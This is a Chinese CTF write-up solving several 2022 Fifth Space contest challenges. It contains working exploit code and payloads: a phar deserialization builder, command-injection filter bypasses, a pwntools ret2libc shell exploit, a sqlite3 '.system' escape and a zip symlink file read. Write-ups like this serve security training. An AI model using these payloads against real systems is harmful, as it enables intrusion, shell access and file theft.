Web
0x1. 5_web_BaliYun
扫目录发现www.zip
index.php核心代码
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img(); # here
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}
?>
class.php
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
public function start(){
return $this->check();
}
private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}
private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}
public function __wakeup(){
echo file_get_contents($this->filename); # here 2
}
}
class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name']; # here
}
public function img_check(){
if(file_exists($this->img_name)){ # here 1
return "Image exsists";
}else{
return "Image not exsists";
}
}
}
很明显得phar反序列化,上传再phar包含即可,代码也给定了上传目录为upload
,文件名未变。
更多有关phar反序列化可参考
php反序列化拓展攻击详解--phar: https://xz.aliyun.com/t/6699
Phar与Stream Wrapper造成PHP RCE的深入挖掘: https://xz.aliyun.com/t/2958
# test.php
<?php
class upload{
public $filename;
public function __construct(){
$this->filename = 'file:///flag';
}
}
$phar = new Phar('Tao.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = new upload();
$phar -> setMetadata($payload);
$phar -> stopBuffering();
php --define phar.readonly=0 test.php
mv Tao.phar Tao.gif
上传Tao.gif
,之后?img_name=phar://upload/Tao.gif
即可get flag.
ouo@GOTA:~$ curl -vv http://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif | grep "flag"
.........................................
> GET /index.php?img_name=phar://upload/Tao.gif HTTP/1.1
> Host: 39.107.82.169:27417
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 19 Sep 2022 10:42:08 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Vary: Accept-Encoding
< Content-Length: 1925
< Content-Type: text/html; charset=UTF-8
<
.........................................
flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg}
0x2. 5_web_letmeguess_1
题目提示弱口令,爆破得密码admin123
登录后发现命令执行页面,fuzz一下,发现%0A
可绕过执行命令,%09
=>
(tab)
GET /index.php?ip=127.0.0.1%0Als HTTP/1.1
Host: 39.107.75.148:19304
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.107.75.148:19304/index.php?ip=ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection: close
# 读取源代码
?ip=127.0.0.1%0Apaste%09index.php
Array
(
[0] => <?php
[1] =>
[2] => header('Content-type:text/html; charset=utf-8');
[3] =>
[4] => // 开启Session
[5] =>
[6] => session_start();
[7] =>
[8] =>
[9] =>
[10] => // 首先判断Cookie是否有记住了用户信息
[11] =>
[12] => if (isset($_COOKIE['username'])) {
[13] =>
[14] => # 若记住了用户信息,则直接传给Session
[15] =>
[16] => $_SESSION['username'] = $_COOKIE['username'];
[17] =>
[18] => $_SESSION['islogin'] = 1;
[19] =>
[20] => }
[21] =>
[22] => if (isset($_SESSION['islogin'])) {
[23] =>
[24] => // 若已经登录
[25] =>
[26] =>
[27] => $res = FALSE;
[28] =>
[29] => if (isset($_GET['ip']) && $_GET['ip']) {
[30] => $ip = $_GET['ip'];
[31] => $m = [];
[32] => if (!preg_match_all("/(||&|;| |/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) {
[33] => $cmd = "ping -c 4{$ip}";
[34] => exec($cmd, $res);
[35] => } else {
[36] => $res = 'Hacker,存在非法语句';
[37] => }
[38] => }
[39] =>
[40] =>
[41] => } else {
[42] =>
[43] => // 若没有登录
[44] =>
[45] => echo "您还没有登录,请<a href='login.html'>登录</a>";
[46] =>
[47] => }
[48] =>
[49] => ?>
正则拦截如下:
if (!preg_match_all("/(||&|;| |/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m))
在当前目录中发现kylin
,过滤也发现kylin
,猜测flag在此目录下,但是由于/
给拦截了,尝试进入目录后进行文件读取,但题目过滤了kylin
,利用linux系统得特性,正则查看目录文件
# 读取kylin目录
?ip=127.0.0.1%0Als%09ky???
#输出:
<pre>
Array
(
[0] => flag.txt
)
</pre>
#final payload
?ip=127.0.0.1%0Acd%09ky???%0apaste%09fl* # %09 => ' '(tab),其实${IFS}也可以
?ip=127.0.0.1%0Acd%09ky???%0apaste${IFS}fl*
?ip=127.0.0.1%0Aca""t${IFS}$(fi""nd${IFS}.)
Pwn
0x1. 5_1H3ll0Rop
基础的ret2libc
from pwn import *
context.log_level='debug'
#p = process('./H3ll0Rop')
p = remote('47.93.30.67',52705)
elf = ELF('./H3ll0Rop')
libc = ELF('./libc-2.23.so')
pop_rdi = 0x0000000000400753
#vuln = 0x400647
vuln = 0x4006CC
#leak libc
payload = b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
p.sendlineafter(b'me???',payload)
libc_base = u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00')) - libc.sym['puts']
print('libc_base',hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
#getshell
payload = b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)
p.sendlineafter(b'me???',payload)
p.interactive()
p.close()
Misc
0x1. 5_简单的Base
题目给了一串密文666c61677b57656c636f6d655f686572657d
, hex解码
>>> print('666c61677b57656c636f6d655f686572657d'.decode('hex'))
flag{Welcome_here}
0x2. 5_Misc_m@sTeR_0f
题目给了源代码,如下:
import random
import string
import subprocess
WELCOME = '''
_______ _____ ___ __ _____ _ _ _______
____ |__ __| | __ / _ / _| / ____| | | (_)__ __|
_ __ ___ / __ ___| | ___| |__) | | | | | |_ | (___ __ _| | _ | | ___
| '_ ` _ / / _` / __| |/ _ _ / | | | | _| ___ / _` | | | | | |/ _
| | | | | | | (_| __ | __/ | | |_| | | ____) | (_| | |____| | | | __/
|_| |_| |_| __,_|___/_|___|_| _ ___/|_| |_____/ __, |______|_| |_|___|
____/ | |
|_|
'''
print(WELCOME)
def name_generator(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
tmp_dbpath = f'/tmp/{name_generator()}.db'
query_idea = input("Input your Query command --->> ")
black_list = ['.', 'lo', ';']
for y in black_list:
if y in query_idea:
print("Hacker! Banned...")
exit()
sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()
#Show your output!
print(output.decode())
审计发现,核心代码如下:
sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()
Command Injection,query_idea
可控, 但题目过滤了['.', 'lo', ';']
查阅官方文档https://www.sqlite.org/cli.html,发现可命令执行
$sqlite3 Tao
Enter ".help" for usage hints.
sqlite> .shell whoami
root
sqlite> .system id
uid=0(root) gid=0(root) groups=0(root),141(kaboxer)
但是发现题目只可执行一次命令,且过滤了.
,但是由于query_idea
可控,且通过官方文档,发现交互参数
-interactive force interactive I/O # sqlite3 --help
至此,我们的思路就是通过交互式,绕过python的过滤,达到命令执行
Input your Query command --->> -interactive # here
.shell ls / # here
.system cat /fl* # here
.quit
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
sqlite> flag{SCT7SK7PLPD343ZMXFWS8U7RQCHE2TUQ}sqlite>
0x3. sakana_reveage
通过审计代码发现,主要考察zip软链接。最终解压缩命令执行的压缩包文件路径在/tmp/sakanas.zip
还有就是base64解码后要有sakana
字段
nc连接
# payload = base64 flag.zip
ln -s /flag soft_flag
zip --symlink flag.zip soft_flag
base64 flag.zip
payload加入sakana
字段后base64编码
输入1上传
然后选择4,然后随便输入一个字符串,需要触发sakana_upload函数的binascii.Error
最后输入2下载得到flag的base64加密字符串
base64解密得到flag
End...
最后最后,如果你对CTF比赛也有兴趣,欢迎加入我们!!!
有意向的师傅可以公众号后台回复ACT
联系我们。
原文始发于微信公众号(ACT Team):2022第五空间网络安全大赛Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论